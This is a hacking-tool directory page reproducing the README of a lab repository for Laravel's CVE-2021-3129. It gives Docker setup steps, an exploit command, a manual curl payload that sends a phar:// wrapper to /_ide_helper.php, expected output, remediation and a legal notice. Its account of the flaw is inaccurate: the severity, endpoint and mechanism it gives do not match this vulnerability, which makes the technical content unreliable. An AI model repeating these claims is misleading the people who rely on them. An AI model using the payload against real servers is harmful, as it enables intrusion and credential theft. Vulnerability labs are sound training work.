Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3129-Lab — CVE-2021-3129: Laravel Debug Mode RCE - Complete exploitation lab with Python exploit, Docker container, and security analysis guide. | Kitploit
Tools/GitHubGitHub/thenareshofficial/cve-2021-3129-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubthenareshofficial/cve-2021-3129-lab

CVE-2021-3129-Lab

CVE-2021-3129: Laravel Debug Mode RCE - Complete exploitation lab with Python exploit, Docker container, and security analysis guide.

View Repository
181 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-3129: Laravel Debug Mode RCE Lab

License: MIT Python 3.8+ Docker CVSS: 7.5

Hands-on lab for exploiting CVE-2021-3129 - a critical Laravel vulnerability allowing unauthenticated file read and potential RCE.

Quick Start

root@kitploit:~
# Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab

# Build & Run
docker build -t cve-2021-3129-lab:latest .
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest

# Test
curl http://localhost:8080/_ide_helper.php

# Exploit
python3 cve_2021_3129_exploit.py http://localhost:8080

What is CVE-2021-3129?

PropertyDetails
SeverityCVSS 7.5 (High)
AffectedLaravel < 8.4.2, < 7.30.4
ImpactArbitrary file read, Info disclosure, potential RCE
Auth RequiredNo
Attack VectorNetwork

How It Works

  1. Reconnaissance - Identify Laravel with debug mode enabled
  2. Validation - Test /_ide_helper.php endpoint
  3. Exploitation - Use phar:// wrapper to read files
  4. Impact - Extract credentials, API keys, environment variables

Prerequisites

  • Docker Desktop
  • Python 3.8+
  • 4GB RAM

Setup (Step by Step)

root@kitploit:~
# 1. Clone
git clone https://github.com/theNareshofficial/CVE-2021-3129-Lab.git
cd CVE-2021-3129-Lab

# 2. Build container
docker build -t cve-2021-3129-lab:latest .

# 3. Run container
docker run -d --name laravel-cve-2021-3129 -p 8080:80 cve-2021-3129-lab:latest

# 4. Verify endpoint
curl http://localhost:8080/_ide_helper.php

# 5. Run exploit
python3 cve_2021_3129_exploit.py http://localhost:8080

Expected Output

root@kitploit:~
[✓✓✓] CVE-2021-3129 VULNERABILITY CONFIRMED!

VULNERABILITY DETAILS:
- Debug mode is ENABLED (APP_DEBUG=true)
- _ide_helper.php is ACCESSIBLE
- Arbitrary file read is POSSIBLE
- Sensitive information LEAKED

Exploit Usage

root@kitploit:~
# Basic
python3 cve_2021_3129_exploit.py http://localhost:8080

# Custom timeout
python3 cve_2021_3129_exploit.py http://localhost:8080 --timeout 10

# Help
python3 cve_2021_3129_exploit.py -h

Manual Testing

root@kitploit:~
# Test endpoint
curl http://localhost:8080/_ide_helper.php

# Test with payload
curl 'http://localhost:8080/_ide_helper.php?subject=phar://storage/logs/laravel.log'

Remediation

root@kitploit:~
# 1. Set APP_DEBUG=false in .env
# 2. Remove _ide_helper.php
# 3. Update Laravel to patched version (8.4.2+, 7.30.4+)
# 4. Restart application

Cleanup

root@kitploit:~
# Stop container
docker stop laravel-cve-2021-3129

# Remove container
docker rm laravel-cve-2021-3129

# Remove image
docker rmi cve-2021-3129-lab:latest

FAQ

Q: Can I test on the internet?
A: No. This is for localhost only. Never test on systems you don't own.

Q: Will this work on patched versions?
A: No. Laravel 8.4.2+ and 7.30.4+ are patched.

Q: Can I modify the exploit?
A: Yes. Code is fully commented for learning.

Q: How to capture network traffic?
A: Use tcpdump or Wireshark:

root@kitploit:~
sudo tcpdump -i lo -w capture.pcapng 'tcp port 8080'
# In another terminal, run the exploit
python3 cve_2021_3129_exploit.py http://localhost:8080
# Open capture: wireshark capture.pcapng

Legal Notice

⚠️ Educational purposes only

✅ Authorized Uses:

  • Educational learning
  • Authorized security testing
  • Defensive research

❌ Prohibited Uses:

  • Unauthorized system access
  • Illegal hacking
  • Damage to systems

Use only on systems you own or have explicit permission to test.

Resources

  • CVE-2021-3129
  • Laravel Security
  • PHP Wrappers

Author

Naresh R (@theNareshofficial)

  • GitHub: https://github.com/theNareshofficial
  • YouTube: https://www.youtube.com/@nareshtechweb930
  • Location: Bengaluru, Karnataka, India

License

MIT License - See LICENSE file

Download Tool